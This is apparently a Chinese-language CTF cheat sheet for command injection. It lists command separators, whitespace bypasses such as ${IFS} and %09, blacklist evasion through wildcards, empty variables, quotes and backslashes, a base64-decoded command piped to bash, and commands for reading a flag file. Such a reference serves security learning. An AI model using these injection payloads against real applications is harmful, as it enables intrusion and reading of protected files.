分隔命令
; # 分号隔开每条命令,整行命令按照从左到右的顺序执行,彼此之间互不影响,所有的命令都会执行。
| # 只执行后面那条命令。
|| # 只执前面那条命令。
& #两条命令都会执行。
&& # 两条命令都会执行。
空格绕过
<
<> # 需要写的权限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A
黑名单绕过
# 一般情况下想flag、php这种字符会被ban掉,这种时候就需要进行绕过了
通配符
* # 匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用
? # 匹配单个任意字符
空字符
$@ # cat$@t flag
$1-$9 # cat$1t flag
${数字} # cat${1}t flag
编码绕过
echo "Y2F0IGZs YWcucGhwCg==" | base64 -d|bash # 解码为cat flag.php并执行
echo "cat flag.php"|base64
变量替换
$a=t;$b=g;ca$a fla$b.php
引号
ca' 't fl' 'ag.php
反斜杠
ca\t f\la\g.php
Linux查看文件命令
cat //cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php